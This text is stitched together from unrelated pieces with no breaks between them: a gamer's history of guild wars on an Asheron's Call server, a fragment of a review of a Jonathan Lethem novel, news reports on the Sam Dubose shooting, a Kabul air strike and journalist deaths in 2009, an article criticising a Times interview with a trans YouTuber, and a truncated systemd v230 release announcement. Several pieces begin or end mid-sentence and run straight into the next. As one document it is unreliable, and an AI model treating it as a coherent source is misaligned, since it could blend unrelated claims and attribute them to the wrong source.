Now, something happened in Kara that messed up the town defense totally. Lauae betrayed her own guild (BR). I won´t go into details, because it was a real nasty situation that involved a lot of the already above mentioned stuff. BRN left AC for a week because of a business trip. He told Sho´ei and Lauae that they both had the command over the guild during his off-time, but he didn´t tell both about the other ones command (Lews Kinslayer aka Imperil didn`t play at that time anymore). In case of a problem between these both, Bekka aka Alkmini should fix any trouble. However it seems that Nobile was expecting something from Lauae´s side because he told me that I should care a bit about BR and that I should take over the command in Kara if there should happen something unexpected. Well, something happened and it was all set-up pretty nice to destroy BR completely, namely by some guy called Moon Orchid who had a lot of influence on Lauae in RL/Game. The conflict between Lauae and Sho´ei came. I remember that the reason of the conflict was pretty stupid. Lauae started to play the mad girl and Sho´ei´s computer crashed and he was offline for a complete week (talk about bad timing). Well, Bekka was left alone with the Lauae situation. Lauae threatend Bekka that she would raid Kara. Also Moon Orchid mistelled to Bekka, when she asked the Blood-member Gremlin if he would come with them (on the next day people were reporting on the boards that Lauae, Moon Orchid, Mordok and Gremlin raided together Hebian To, killing random people). I remember the evening when Bekka was talking to me. She was totally confused and had no idea how to handle the situation. She blamed a lot of the problems on herself. Well, I tried to convince her that it wasn´t her mistake but Lauaes. Bekka made some chat-screenshots and reported all the chats with Lauae to me. I started to organise the town-defense. White Morpheus and Al Neo were pretty helpful and we got some people together in town. Nothing happened. The next day some of Lauae´s direct followers raided Kara (namely Thalkos, Shimer and some others - however she never raided herself the town). Later some raids by them followed - together with a few Bloods. However I still didn´t KOS generally all Lauae´s followers because I didn´t want that the uninvolved persons of BR with Lauae tag fought for the wrong side when they had no clue what was going on. Therefor I only KOSed the raiders. Now, the reader has to know one thing: Lauae has also several real-life Brothers in AC (at least 2 I think). One of her brothers (Big) was in The Feared aka Chad-The-Feared. When the specific Lauae people like Thalkos raided Kara and when they attacked the people at Kara, Chad-The-Feared (Lauae´s brother aka Big in BR) healed and helped them at least one time. Therefor town-defenders attacked Chad. Guess what happened! Yes! The Feared were entering the scene because the allegiances at Kara had attacked one of their followers. The whole thing was pretty clever set up and I think that the TF (except maybe partly Chad and Ben) had really no clue what was going on. Well, finally Lauae herself appeared. She was meeting with several of her followers a bit outside of Kara. I scouted the area and watched their meeting for a bit but I didn´t do anything. I just watched them. They didn´t do anything either. Well, what I didn´t know was that they were waiting for reinforcements by TF. Around 20 minutes later I ran into a group of around 10-15 Lauae followers (some of them in a fellowship called "Kill Black Rose") and a big group of The Feareds (Ben, Stargod, D-The-Feared, Zuggernaut, Chad-The-Feared, Zhugeliang and some others). The Feareds and Lauae people attacked me instantly without a word (well, someone yelled "schatt!", according to my screenshot it was Boberino). I ran away and started to @tell people in town to warn them. However Lauae´s people and The Feared still killed a lot of innocent people in town. Well, something happened that Lauae probably didn`t expect. The Feared withdraw their troops out of the fights. My vassal Kabal knew some of TF closer and I went with him together on IRC to explain TF the situation about Lauae as good as I could. We told their leader (I think it was DVN - the real one) about Moon Orchid´s tells/plot and about the other things Lauae did do. It was funny to see Lauae on IRC - trying to explain the situation and to find reasons for TF to stay in the fights. Well, DVN ordered the TF to leave Kara. In the end the only one who continued to backup Lauae was Ben-The-Feared and her brother Chad (who canceled that later too). Well, I spend the next 2 days with hunting Lauae´s followers down. They tried hard to please her by raiding constantly in the next 2 days Kara but I think in the end there was none of them left who didn´t get killed by my allegiance or by people that were still loyal to BRN. They died often and they got a lot of vitae. Suddenly many of her followers started to break from her.
However BR and Kara in general was broken up and weakened a lot. BR was down to like 50 or 60 people. There was lot of hate in town because characters were standing in town that had just raided the town 1-2 days ago under Lauae. Nobile was back and tried to fix the mess. Maybe some of you Darktiders remember these days (lot of board flames followed). First Lauae was hanging out after this incident with the Feared, later she joined under Blood. If I remember right they kicked her out one day, too. I'm not sure what she´s doing at the moment. I think she quit.
The fall of Kara was now only a question of time. Suddenly all the evil rpk groups allied with Blood to take Kara. This was a smart move, because Blood won´t have taken Kara alone. But together the pk groups brought Kara´s already weakened defense down on its knees. While I think that not all of them joined directly into the Blood Monarchy when they attacked Kara allied (I remember lot of different monarchy tags in the raids), most of them swore later into Blood after the town was basically under control of rpk guilds. The resistance of the Kara allegiances lasted only for around 3 weeks. Finally nearly everyone gave up because the pks were simply too many and they all lifestoned at Kara´s main LS. That´s a very important point. You can only hold a town on darktide if the majority of your force stays lifestoned at the main Lifestone during the whole battle. The outcome of the battle is a result of these 2 factors: a) You have more die-hard people or more high/medium level fighters in general lifestoned or directly portal-tied in town b) your ressources hold longer than your enemy´s ressources (money/components/death items).
People left. I and my people left Kara and spreaded out. The small Angeldust allegiance moved to Ayan Baqur. The people that were left in BR lifestoned to places around Kara and raided the town frequently but I think most of them ended up living in Ayan Baqur, too. I visited Ayan Baqur only one time after I left Kara. You know my opinion about this town. The curse of Ayan Baqur is even greater than the curse of Kara on Darktide.
The rest can be told quick. Blood got blessed with the "Curse of Kara". All the individual pk monarchies joined into Blood. Several "Neutrals" joined into Blood. Overall a lot of people joined into Blood. Blood became a big bad juggernaut. This requires some leadership and I think RaK is doing good job with his "public/propaganda work" for Blood. Without him, Blood would be probably a lesser factor (as unity). He smartly seperates himself also a bit in his posts from the kids and plain idiots that usually spam most of the time the DT boards with their bragging. I don´t like him much (which is probably just natural because of the way I like to play), but he deserves for sure some credits for his dedication. Also holding Kara for so long was for sure one of the reaons why Blood got so big in size. If you have a good base, then you can start to plan further. That´s also why BR was so successful in the past. When you have a superior home you can start to focus on special level areas and town-raids. Blood started to dominate Aerlinthe and the BH BSD (I remember the first cries on the boards when people complained that they got attacked on Aerlinthe). I was later pretty angry about all the exploit-tied pks that are directly tied into the Coral spawns. I mean I have no problem when I have to fight someone at a level-spot. I had to fight for leveling in most of my chars´ career. But it´s not ok, if someone recalls directly back to a special spot on aerlinthe after I chased him off. This kills the balance at a place - no - not because a group is better fighting for that place, it´s because a lot of people don´t even bother anymore to fight for an area because they know that so many people are exploit tied there.
If you ask me what my opinion about "allegiance" Blood is... well, I think a lot of spineless people are "using" Blood and I think Blood doesn´t care much about this fact (don´t get me wrong, not only Blood has/had such people. There are several examples. In AC/DT nearly all juggernauts have this problem). Some people leave when they have leveled enough, and new people join. Alliances come, alliances brake. I always have to smile when I see RaK posting the link to the official "Blood FAQ". I would hate to run a FAQ in order to keep my members under control. There is a important difference between an evil and an Anti/Good/Honor/Neutral juggernaut-clan. The big evil rpk monarchies on Darktide were/are usually Chaos Monarchies. Usually their only rule is: Don´t kill people of your allegiance and don´t kill allied Allegiance X. That´s it. If you don´t like someone, then kill him. No big talking, no other rules. Members can rpk as much as they want. Well, that´s the point of evil rpking. If you have a good home and good hunting spot you can get a lot of players with these little rules, because no rules suit a lot of people in an online-game, especially young people.
On the other hand you have the people that do not rpk (whatever you like to call them). They always have to watch who they kill. If someone of a non-war allegiance is unfriendly or annoying they can´t kill him. They have to discuss the problem. They have to talk with their leader. Then one leader has to talk with the other leader. Then someone apologizes - or not. I often spend a lot of time talking to other leaders because of a specific incident. Killing the offensive person would be much easier, but it won´t suit to the role I play. Sometimes "light" guilds even fight each other, because they can´t come to an agreement.
Big rpk´s clans like Blood don´t care if an Anti, Neutral or individual rpk joins them. Basically they accept everyone with just a very few exceptions. Of course there are other rpk clan that have a strict set of rules (40+, no logging, no shit-talking, whatever), but these monarchies usually never become big. Too many rules. Too many rules are not good for rpks. Such rules don´t attract many rpks.
The non rpk side has even more rules. They follow usually a special codex and care who joins under them. Most of them can´t tolerate ex-pks or ex-enemies in their ranks. In AC we have one problem: It is close to impossible for a monarch to maintain his monarchy by having direct influence on all of his followers (he can´t even see his tree). If you keep track on your monarchy by yourself you can handle maybe 100-200 followers without having too much trouble all day long. Everything above 200 starts to become a problem. Everything above 500-600 starts to become catastrophic. Pk´s sneak into the guild. Trouble makers are causing constantly trouble with other guilds that are supposed to be friendly. Other "light" guilds start to dislike your guild because of the trouble-makers. Just a few trouble-makers that are trigger-happy can hurt the reputation of an Anti/Honor/Neutral guild a lot. If the monarch doesn´t care fast about the problem people say soon "I guess your guild turned pk". Anti guilds start to KOS your guild. All these problems don´t appear on the evil rpk side. Trouble-makers may be noticed by shit-talking or other things but people that kill someone for no reason (or a lesser reason) are no problem. Therefor you will never see in AC on Darktide an Anti/Good/Honor/Neutral guild with over 1000 Followers without having tons of people complaining about it (and often these complaining people have a real reason). Trouble-makers and sneaky pks will always sneak into such big non-rpk guilds. The monarch has in AC no way to control that once his guild breaks the magic number. He loses the overview. A current example are the Mindeaters. With the problems/Blood takeover at Ayan Baqur their guild size boosted up at Tethana ("the curse of Tethana" - lol). A few days ago someone from the Mindeaters asked me if I would join the guild if they would place over 1000 followers under me that would produce several millions of XP per day for me. I explained him that I would never do that because it´s for me more important with who I play and that I know who´s under me. If someone is running around with my character´s name tag I want to know who this character is. If you assess someone you only see stats, but you don´t see if this someone will be a loyal follower or if he´s just looking for a nice place or good hunting ground. Therefor I always ask my followers to be very careful about new vassals. Well, the Mindeater answered that he respected my answer, but he would personally love the few millions XP per day a lot. I don´t judge them. If they want to go into this direction - fine. It´s their business, not mine. I wish them good luck. Maybe they reach something. Maybe they fail and will size down after they got enough XP. But from time to time even an anti/neutral juggernaut is required to rebalance things. Point is: It costs reputation and causes a lot of problems because AC doesn´t really allow you to handle a "good" mass-guild with a set of rules. Rpks have simply less problems in mass-guilds.
Meanwhile Kitae was fed up with Everquest and finally came back to AC. He reswore under me. He´s playing again on DT since around 2 months. I think some people noticed already his arrows in their back - hehe. He´s also playing a 2nd char in my clan, now.
What happened lately? Some rpks, neutrals, and 1 (?) Anti-PK Clan (I don´t know in which category Wilc fell before he joined GEN) merged at AB and founded GEN - a new rpk monarchy. Their goal: To free AB from spammers and "carebears" + being an elite pk monarchy of a) non-portal loggers, b) non-town spammers, c) non-shit talkers; to sum it up: A monarchy that becomes a worthy opponent of Blood and frees AB from spineless parasites (I guess that´s how they would have described themself)..
Well, when I looked at their "core" memberlist I saw a lot of people that performed |
(still almost a decade
in the future at the time of this early effort) encountered
this when, deep into this gritty account of life on the streets
of Brooklyn, an unconventional superhero character—a
homeless man who can fly through the air—is introduced
to disrupt a narrative that otherwise seems so true-to-life.
The same kind of background disturbances impart a
curious flavor to Lethem’s more recent novel
Chronic City
,
in which the central story of buddies in New York is
juxtaposed with a host of sci-fi sub-plots, involving
everything from war in outer space to a raging mechanical
tiger. Unlike, say, H.G. Wells, who built his plots squarely
on impossibilities—time machines, invisible men—
Lethem keeps the main plot real-as-rain, but hides his
wildest ideas in the backdrop.
This is definitely the case with
Gun, with Occasional Music
.
As we follow P.I. Metcalf in his attempt to determine
who killed his client, a host of bizarre elements begin
to intrude into our view. Evolved animals, who can talk
and work 9-to-5 jobs, show up as minor characters.
Everyone seems to carry a karma card, and if the balance
falls to zero, bad things tend to happen to them. Music
has replaced much of the news. And strange drugs are
everywhere, with side effects that would even
discourage Timothy Leary from getting his prescriptions
filled.
Metcalf’s personal blend of narcotic is mostly Acceptol,
with enough Regrettol mixed in to provide a
“bittersweet edge,” and a little bit of Addictol to
keep him coming back for more. He tends to leave
out the Forgettol completely—a private inquisitioner
can’t afford to enjoy the joys of sweet oblivion. Even
stronger mixtures are available—although sometimes
you need to get them from the black market—and at
an extreme, youf personal recipe can do to your brain
what Rotorooter does to a blockage in your plumbing.
The blend at work in the construction of this book is
almost as strange as that employed by our detective in his
leisure hours. Much of the fun in reading Lethem is how
well his stories work at different levels.
Gun, with Occasional
Music
is not his best work—not until
Motherless
Brooklyn
and
The Fortress of
Solitude
would he really show his skill
at developing compelling characters with raw and plausible
emotional lives. And the pacing of this novel is
occasionally sluggish, with the many interrogations
of suspects and witnesses lacking the kind of ingenuity
that, say, an Agatha Christie brings to those kinds of
scenes. Even so there is much to admire here—
especially in the dialogue, the scene-setting, and the
various phantasmagorical elements.
And for a literary debut by an author just moving out
of his twenties, this book showed some serious bravado.
In retrospect, we can see how it signaled the arrival of
a provocative talent, one who would help redefine the
boundaries between serious and genre fiction. And that
would turn out to be not just a perfect role for Jonathan
Lethem, but also an appealing turnabout for the often
sluggish world of literary fiction as its parameters were
redefined in the years following the publication of this
book. No, Lethem didn’t do that on his own—give
credit to
David Mitchell
,
Michael
Chabon
,
David Foster
Wallace
,
Audrey
Niffenegger
,
Mark Z.
Danielewski
and
others for the parts they have played in this matter—but
he, as much as anyone, raised the stakes and raked in the
chips in a game that is still very much underway.
Ted Gioia's latest book is
L
ove Songs: The Hidden HistoryPolice officer with a gun (Shutterstock)
An Ohio prosecutor is refusing to release body camera video from the fatal police shooting of an unarmed black man during a traffic stop — but top officials are suggesting that the video disputes the campus police officer’s claims of self-defense.
UPDATE: Officer Ray Tensing indicted in fatal shooting of Sam Dubose
Officer Ray Tensing, of the University of Cincinnati police department, shot and killed 43-year-old Sam Dubose during a routine traffic stop July 19 near campus.
Tensing stopped Dubose about 6:30 p.m. because he did not have a license plate on the front of his car, in apparent violation of Ohio law, about a half-mile from campus in Cincinnati’s historic Mount Auburn neighborhood.
The officer claims Dubose would not show his driver’s license and instead produced a bottle of alcohol and refused to get out of his vehicle.
Tensing told 911 dispatchers that he fired one shot, fatally striking Dubose in the head, because he was “almost run over” during the traffic stop, but the officer said in the incident report that he was “dragged” by the vehicle.
Multiple media outlets have sued Hamilton County Prosecutor Joe Deters to force the release of body cam video of the incident recorded by Tensing — but the prosecutor flatly stated that he would not do so without a court order until he has presented the case to a grand jury, which could happen this week.
“Unless I’m ordered to by the Ohio Supreme Court, and I doubt I will be, they’re not going to get it,” Deters said.
But Cincinnati’s police chief said he had seen the video, and he said “the video is not good.”
“It’s not a good situation, I think that’s clear, and it will become evident once that video is shown,” said Chief Jeffrey Blackwell, of Cincinnati police. “We’re just trying to do our best to be prepared for whatever might come out of it.”
The city manager said he had not seen the video, but he told WLWT-TV that the contents had been described to him.
“It was not a good situation,” said City Manager Harry Black. “Someone has died that didn’t necessarily have to die, and I will leave it at that.”
The University of Cincinnati has suspended off-campus police stops and will hire an independent external reviewer to examine the campus police department’s policies, procedures and practices.
Dubose’s family has hired attorney Mark O’Mara, who defended George Zimmerman in the shooting death of Trayvon Martin.
“The family wants two things,” O’Mara said. “First, they want dignity for themselves and for Sam and his death, and they want transparency. They want to know what happened to what happened to him — first the ‘what’ and then the ‘why.'”
The pastor who will conduct funeral services Tuesday said Dubose’s family hoped to avoid the unrest that followed the fatal police shooting of an unarmed 19-year-old black man in 2001.
“To quote the family, ‘We don’t want another Timothy Thomas situation,'” said Pastor Ennis Tait, of the Church of the Living God. “They’ve said that and that’s their heart. They don’t want the city to be turned upside down and that issue to be attached to their brother’s life.”
The pastor, as city officials did, pointed out the reforms imposed on Cincinnati police by the U.S. Department of Justice following the riots 14 years ago.
“One of the major goals is that we don’t repeat 2001,” said Tait. “This incident has that potential, and our goal is to make sure it doesn’t reach that level.”
The prosecutor has stopped speaking with most local media, citing their lawsuits against him, but he told WLW-AM host Bill Cunningham that he has prosecuted police officers before.
“I’m not talking about this particular case, but if there’s a bad cop, the cops want him removed, OK?” Deters said. “They would give everybody a bad name. Nobody’s protecting anybody in this case.”
He blasted state Sen. Cecil Thomas, a former Cincinnati police officer and city councilman, for describing a “groundswell of anger” among community members.
“I think those comments are reckless,” Deters said. “People need to let the system work and let the chips fall where they may.”
Watch this video report posted online by WLWT-TV:Image copyright EPA Image caption Smoke could be seen above Kabul airport after the attack by insurgents
A US air strike against militants in the Afghan capital Kabul caused civilian casualties after a missile malfunctioned, officials said.
The strike was in support of Afghan troops fighting insurgents who attacked Kabul airport with rockets shortly after US Defence Secretary Jim Mattis arrived on a visit.
It is not clear how many civilians were killed or injured.
The US recently confirmed it would send 3,000 extra troops to Afghanistan.
"Tragically, one of the missiles malfunctioned, causing several casualties," the Nato mission in Afghanistan, known as Resolute Support, said in a statement.
"Resolute Support deeply regrets the harm to non-combatants. An investigation into the attack and the malfunctioning ammunition has begun."
Image copyright EPA Image caption Military helicopters hovered over the scene
The rocket attack on the airport was claimed by both the Taliban, which said they had targeted Gen Mattis's plane, and their rival, the Islamic State group.
Gen Mattis held talks with Nato chief Jens Stoltenberg and Afghan President Ashraf Ghani about plans to strengthen Afghanistan's military.
Support from US-led Nato troops would give Afghan forces a "compelling battlefield advantage over anything the Taliban stands to mass against" it, Gen Mattis said.
He said the US would not allow "a merciless enemy to kill its way to power".
US combat operations against the Taliban officially ended in 2014, but more than 8,000 US special forces remain in the country supporting Afghan troops.
Sixteen years after the US-led invasion, the Afghan government still only controls about 60% of the country.NEW YORK (Reuters) - The number of journalists killed around the world in 2009 rose to a record 68 after a massacre in the Philippines, the Committee to Protect Journalists (CPJ) said on Thursday.
The press freedom group said the 2009 tally compared to 42 deaths in 2008 and surpassed the previous record of 67 deaths in 2007 — when violence was at its worst in Iraq, which had been the deadliest country for journalists for six years.
This year Iraq dropped to No. 3 on the list of deadliest countries with four journalist deaths, the lowest annual tally recorded since the U.S.-led invasion of the country in 2003.
The Philippines topped the list with 32 deaths — 31 of which happened during a massacre in the South of the country in November. Somalia, which western security agencies say has become a safe haven for militants, including foreign extremists, came in second with nine media deaths.
“This has been a year of unprecedented devastation for the world’s media, but the violence also confirms long-term trends,” said CPJ Executive Director Joel Simon. “Most victims were local reporters covering news in their own communities.
“The perpetrators assumed, based on precedent, that they would never be punished. Whether the killings are in Iraq or the Philippines, in Russia or Mexico, changing this assumption is the key to reducing the death toll,” he said.
All but two of the 2009 victims were local journalists, the Committee to Protect Journalists said.
The journalists murdered in the Philippines massacre were among 57 people killed after they were stopped at a checkpoint while on their way to file a candidate’s nomination for elections next year.
“The killings in the Philippines are a shocking but not entirely surprising product of a long-term reality: The government has allowed unpunished violence against journalists, most of it politically motivated, to become part of the culture,” said CPJ’s Asia program coordinator Bob Dietz.
Four journalists were killed in Pakistan, three in Russia, two in Sri Lanka and Mexico and one in Venezuela, Nepal, Madagascar, Nigeria, Azerbaijan, Indonesia, El Salvador, Colombia, Israel and the Palestinian Territory, Iran, Afghanistan and Kenya.
About three-quarters of the journalists killed in 2009 were targeted in retaliation for their work, 11 journalists were killed in crossfire during combat situations and seven died covering dangerous assignments such as raids or protests.
Another 20 journalist deaths from 2009 are still being investigated by the Committee to Protect Journalists, which began compiling records of media deaths in 1992, and a final 2009 tally will be released in January.Signup to receive a daily roundup of the top LGBT+ news stories from around the world
The Times has caused outrage after using a trans activist’s mental health to question young people’s claims of gender dysphoria.
The article, by Janice Turner, has sparked a backlash from YouTube star Alex Bertie and his followers due to its transphobic comments.
Alex, who recently released a book detailing his transition, explained in the interview the depression he experienced in his childhood due to his gender dysphoria, and how much his mental health has improved since transitioning.
Turner went on to ask why “so many teenage girls now believe they are boys”, referring to the number of children seeking treatment at the Gender Identity Clinic in London.
The journalist failed to consider that more children may be seeking help understanding their gender identity due to growing acceptance of trans people in society, as well as there being more positive trans representation in the media than ever before.
Throughout the interview, Turner critiques Alex’s appearance and focuses on his ability to have children in the future, rather than his improved mental health or his tireless activism.
“After 18 months on testosterone, injected into his buttock every three months, Alex’s voice is low; he has a passable beard and has filled out a little, but is still a birdlike 5ft 4in and his hair is receding.
“His periods have stopped and he is now probably infertile,” she continued.
Turner then begins to imply that the gender dysphoria experienced by these children is down to undiagnosed autism, or the result of sexual abuse.
She even says that the increase in the number of young people exploring their gender identities and choosing to transition is a “social contagion”, and one she compares to anorexia and self-harm.
Alex and his fans expressed disgust at the article on social media, and Alex let his frustration over the article’s harmful representation of trans people show.
Being trans in the public eye is honestly like being 13 again. TRADITIONAL MEDIA JUST DOESN’T GET ME pic.twitter.com/iVjdPe4zng — Alex Bertie (@Alex_Bertie) November 11, 2017
He went on to admit to his fans how the article affected his emotional well-being.
Love you guys 💙 Kinda on the borderline of being quite sad, but the lovely words are helping 🖑 — Alex Bertie (@Alex_Bertie) November 11, 2017
Missed an appointment to request a therapist on Monday… Definitely regretting it now 👌 — Alex Bertie (@Alex_Bertie) November 11, 2017
His boyfriend, fellow transman and Youtuber Jake Edwards, showed support on Twitter and expressed anger at Turner’s blatant exploitation of his boyfriend’s story in order to push her transphobic views.
Nothing is more upsetting than seeing the boy I love being used to push a message he didn’t consent to. He inspired me, saved lives and gave a voice to a marginalised community. How dare you slander that. — Jake Edwards 🌸 (@jakeftmagic) November 11, 2017
If you use a trans person for views or clicks, you are manipulating us to further your own agenda. Posting a transphobic article using the voice of a trans doesn’t make you better. It makes it worse that you completely ignored them when you had a chance to learn. — Jake Edwards 🌸 (@jakeftmagic) November 11, 2017
Jake then posted another article in which he and Alex were interviewed, which he encouraged his followers to read instead of Turner’s, saying that unlike how Alex must have felt when interviewed for The Times, Jake felt “thoroughly respected”.
Alex Bertie and Jake Edwards are inspirational figures within the trans community and beyond.
By sharing their stories and their journeys transitioning through social media, they are allowing a growing number of young people to understand their feelings of gender dysphoria, and are helping eliminate feelings of shame within the LGBT community.
This is unfortunately not the first time Alex Bertie himself has been used to push an anti-trans message in the media.
Last month, The Mail on Sunday used pictures of Alex without his consent to illustrate an article titled “NHS pressured our kids to change sex”.
The article, which describes trans girls as “young boys who want to be female”, showed pictures of Alex during different stages of transition, completely without his consent.
Alex posted on Twitter, saying the incident was “disgraceful”.
Comments below the Times article were not very encouraging, with many praising the piece, calling it “brave”, and one reader suggesting Alex’s decision to possibly adopt instead of conceiving naturally was “very disturbing”.
Other commenters did not hold back on their transphobia, with one describing it as a “tragedy” that young people are exploring their gender identity, and another calling herself “TERF and proud”.
Turner recently wrote another anti-trans piece targeting performer and activist Travis Alabanza.
Travis, who identifies as transfeminine and uses the pronoun “they”, was repeatedly misgendered by Turner, who referred to them as “he” throughout the piece.
She used Travis’ recent post calling out Topshop for not allowing them to use their all genders changing room as a way to push the view that the trans community is “doctrinaire” and “uncompromising”.
In the article, Turner even compared the acceptance of young people using binders to feel more comfortable in their bodies as “endorsing a practice reminiscent of Chinese foot-binding”.
She added that the idea of adults choosing to accept their child’s genuine feelings of gender dysphoria was comparable to affirming an “anorexic’s delusions that they are fat”.[systemd-devel] [ANNOUNCE] systemd v230
Hi, systemd v230 has been tagged. Enjoy! CHANGES WITH 230: * DNSSEC is now turned on by default in systemd-resolved (in "allow-downgrade" mode), but may be turned off during compile time by passing "--with-default-dnssec=no" to "configure" (and of course, during runtime with DNSSEC= in resolved.conf). We recommend downstreams to leave this on at least during development cycles and report any issues with the DNSSEC logic upstream. We are very interested in collecting feedback about the DNSSEC validator and its limitations in the wild. Note however, that DNSSEC support is probably nothing downstreams should turn on in stable distros just yet, as it might create incompatibilities with a few DNS servers and networks. We tried hard to make sure we downgrade to non-DNSSEC mode automatically whenever we detect such incompatible setups, but there might be systems we do not cover yet. Hence: please help us testing the DNSSEC code, leave this on where you can, report back, but then again don't consider turning this on in your stable, LTS or production release just yet. (Note that you have to enable nss-resolve in /etc/nsswitch.conf, to actually use systemd-resolved and its DNSSEC mode for host name resolution from local applications.) * systemd-resolve conveniently resolves DANE records with the --tlsa option and OPENPGPKEY records with the --openpgp option. It also supports dumping raw DNS record data via the new --raw= switch. * systemd-logind will now by default terminate user processes that are part of the user session scope unit (session-XX.scope) when the user logs out. This behavior is controlled by the KillUserProcesses= setting in logind.conf, and the previous default of "no" is now changed to "yes". This means that user sessions will be properly cleaned up after, but additional steps are necessary to allow intentionally long-running processes to survive logout. While the user is logged in at least once, user at.service is running, and any service that should survive the end of any individual login session can be started at a user service or scope using systemd-run. systemd-run(1) man page has been extended with an example which shows how to run screen in a scope unit underneath user at.service. The same command works for tmux. After the user logs out of all sessions, user at.service will be terminated too, by default, unless the user has "lingering" enabled. To effectively allow users to run long-term tasks even if they are logged out, lingering must be enabled for them. See loginctl(1) for details. The default polkit policy was modified to allow users to set lingering for themselves without authentication. Previous defaults can be restored at compile time by the --without-kill-user-processes option to "configure". * systemd-logind gained new configuration settings SessionsMax= and InhibitorsMax=, both with a default of 8192. It will not register new user sessions or inhibitors above this limit. * systemd-logind will now reload configuration on SIGHUP. * The unified cgroup hierarchy added in Linux 4.5 is now supported. Use systemd.unified_cgroup_hierarchy=1 on the kernel command line to enable. Also, support for the "io" cgroup controller in the unified hierarchy has been added, so that the "memory", "pids" and "io" are now the controllers that are supported on the unified hierarchy. WARNING: it is not possible to use previous systemd versions with systemd.unified_cgroup_hierarchy=1 and the new kernel. Therefore it is necessary to also update systemd in the initramfs if using the unified hierarchy. An updated SELinux policy is also required. * LLDP support has been extended, and both passive (receive-only) and active (sender) modes are supported. Passive mode ("routers-only") is enabled by default in systemd-networkd. Active LLDP mode is enabled by default for containers on the internal network. The "networkctl lldp" command may be used to list information gathered. "networkctl status" will also show basic LLDP information on connected peers now. * The IAID and DUID unique identifier sent in DHCP requests may now be configured for the system and each.network file managed by systemd-networkd using the DUIDType=, DUIDRawData=, IAID= options. * systemd-networkd gained support for configuring proxy ARP support for each interface, via the ProxyArp= setting in.network files. It also gained support for configuring the multicast querier feature of bridge devices, via the new MulticastQuerier= setting in.netdev files. Similarly, snooping on the IGMP traffic can be controlled via the new setting MulticastSnooping=. A new setting PreferredLifetime= has been added for addresses configured in.network file to configure the lifetime intended for an address. The systemd-networkd DHCP server gained the option EmitRouter=, which defaults to yes, to configure whether the DHCP Option 3 (Router) should be emitted. * The testing tool /usr/lib/systemd/systemd-activate is renamed to systemd-socket-activate and installed into /usr/bin. It is now fully supported. * systemd-journald now uses separate threads to flush changes to disk when closing journal files, thus reducing impact of slow disk I/O on logging performance. * The sd-journal API gained two new calls sd_journal_open_directory_fd() and sd_journal_open_files_fd() which can be used to open journal files using file descriptors instead of file or directory paths. sd_journal_open_container() has been deprecated, sd_journal_open_directory_fd() should be used instead with the flag SD_JOURNAL_OS_ROOT. * journalctl learned a new output mode "-o short-unix" that outputs log lines prefixed by their UNIX time (i.e. seconds since Jan 1st, 1970 UTC). It also gained support for a new --no-hostname setting to suppress the hostname column in the family of "short" output modes. * systemd-ask-password now optionally skips printing of the password to stdout with --no-output which can be useful in scripts. * Framebuffer devices (/dev/fb*) and 3D printers and scanners (devices tagged with ID_MAKER_TOOL) are now tagged with "uaccess" and are available to logged in users. * The DeviceAllow= unit setting now supports specifiers (with "%"). * "systemctl show" gained a new --value switch, which allows print a only the contents of a specific unit property, without also printing the property's name. Similar support was added to "show*" verbs of loginctl and machinectl that output "key=value" lists. * A new unit type "generated" was added for files dynamically generated by generator tools. Similarly, a new unit type "transient" is used for unit files created using the runtime API. "systemctl enable" will refuse to operate on such files. * A new command "systemctl revert" has been added that may be used to revert to the vendor version of a unit file, in case local changes have been made by adding drop-ins or overriding the unit file. * "machinectl clean" gained a new verb to automatically remove all or just hidden container images. * systemd-tmpfiles gained support for a new line type "e" for emptying directories, if they exist, without creating them if they don't. * systemd-nspawn gained support for automatically patching the UID/GIDs of the owners and the ACLs of all files and directories in a container tree to match the UID/GID user namespacing range selected for the container invocation. This mode is enabled via the new --private-user-chown switch. It also gained support for automatically choosing a free, previously unused UID/GID range when starting a container, via the new --private-users=pick setting (which implies --private-user-chown). Together, these options for the first time make user namespacing for nspawn containers fully automatic and thus deployable. The systemd-nspaw at.service template unit file has been changed to use this functionality by default. * systemd-nspawn gained a new --network-zone= switch, that allows creating ad-hoc virtual Ethernet links between multiple containers, that only exist as long as at least one container referencing them is running. This allows easy connecting of multiple containers with a common link that implements an Ethernet broadcast domain. Each of these network "zones" may be named relatively freely by the user, and may be referenced by any number of containers, but each container may only reference one of these "zones". On the lower level, this is implemented by an automatically managed bridge network interface for each zone, that is created when the first container referencing its zone is created and removed when the last one referencing its zone terminates. * The default start timeout may now be configured on the kernel command line via systemd.default_timeout_start_sec=. It was already configurable via the DefaultTimeoutStartSec= option in /etc/systemd/system.conf. * Socket units gained a new TriggerLimitIntervalSec= and TriggerLimitBurst= setting to configure a limit on the activation rate of the socket unit. * The LimitNICE= setting now optionally takes normal UNIX nice values in addition to the raw integer limit value. If the specified parameter is prefixed with "+" or "-" and is in the range -20..19 the value is understood as UNIX nice value. If not prefixed like this it is understood as raw RLIMIT_NICE limit. * Note that the effect of the PrivateDevices= unit file setting changed slightly with this release: the per-device /dev file system will be mounted read-only from this version on, and will have "noexec" set. This (minor) change of behavior might cause some (exceptional) legacy software to break, when PrivateDevices=yes is set for its service. Please leave PrivateDevices= off if you run into problems with this. * systemd-bootchart has been split out to a separate repository: https://github.com/systemd/systemd-bootchart * systemd-bus-proxyd has been removed, as kdbus is unlikely to still be merged into the kernel in its current form. * The compatibility libraries libsystemd-daemon.so, libsystemd-journal.so, libsystemd-id128.so, and libsystemd-login.so which have been deprecated since systemd-209 have been removed along with the corresponding pkg-config files. All symbols provided by those libraries are provided by libsystemd.so. * The Capabilities= unit file setting has been removed (it is ignored for backwards compatibility). AmbientCapabilities= and CapabilityBoundingSet= should be used instead. Contributions from: Alban Crequy, Alexander Kuleshov, Alexander Shopov, Alex Crawford, Andre Klärner, Andrew Eikum, Beniamino Galvani, Benjamin Robin, Biao Lu, Bjørnar Ness, Calvin Owens, Christian Hesse, Clemens Gruber, Colin Guthrie, Daniel Drake, Daniele Medri, Daniel J Walsh, Daniel Mack, Dan Nicholson, daurnimator, David Herrmann, David R. Hedges, Elias Probst, Emmanuel Gil Peyrot, EMOziko, Evgeny Vereshchagin, Federico, Felipe Sateler, Filipe Brandenburger, Franck Bui, frankheckenbach, gdamjan, Georgia Brikis, Harald Hoyer, Hendrik Brueckner, Hristo Venev, Iago López Galeiras, Ian Kelling, Ismo Puustinen, Jakub Wilk, Jaroslav Škarvada, Jeff Huang, Joel Holdsworth, John Paul Adrian Glaubitz, Jonathan Boulle, kayrus, Klearchos Chaloulos, Kyle Russell, Lars Uebernickel, Lennart Poettering, Lubomir Rintel, Lukáš Nykrýn, Mantas Mikulėnas, Marcel Holtmann, Martin Pitt, Michael Biebl, michaelolbrich, Michał Bartoszkiewicz, Michal Koutný, Michal 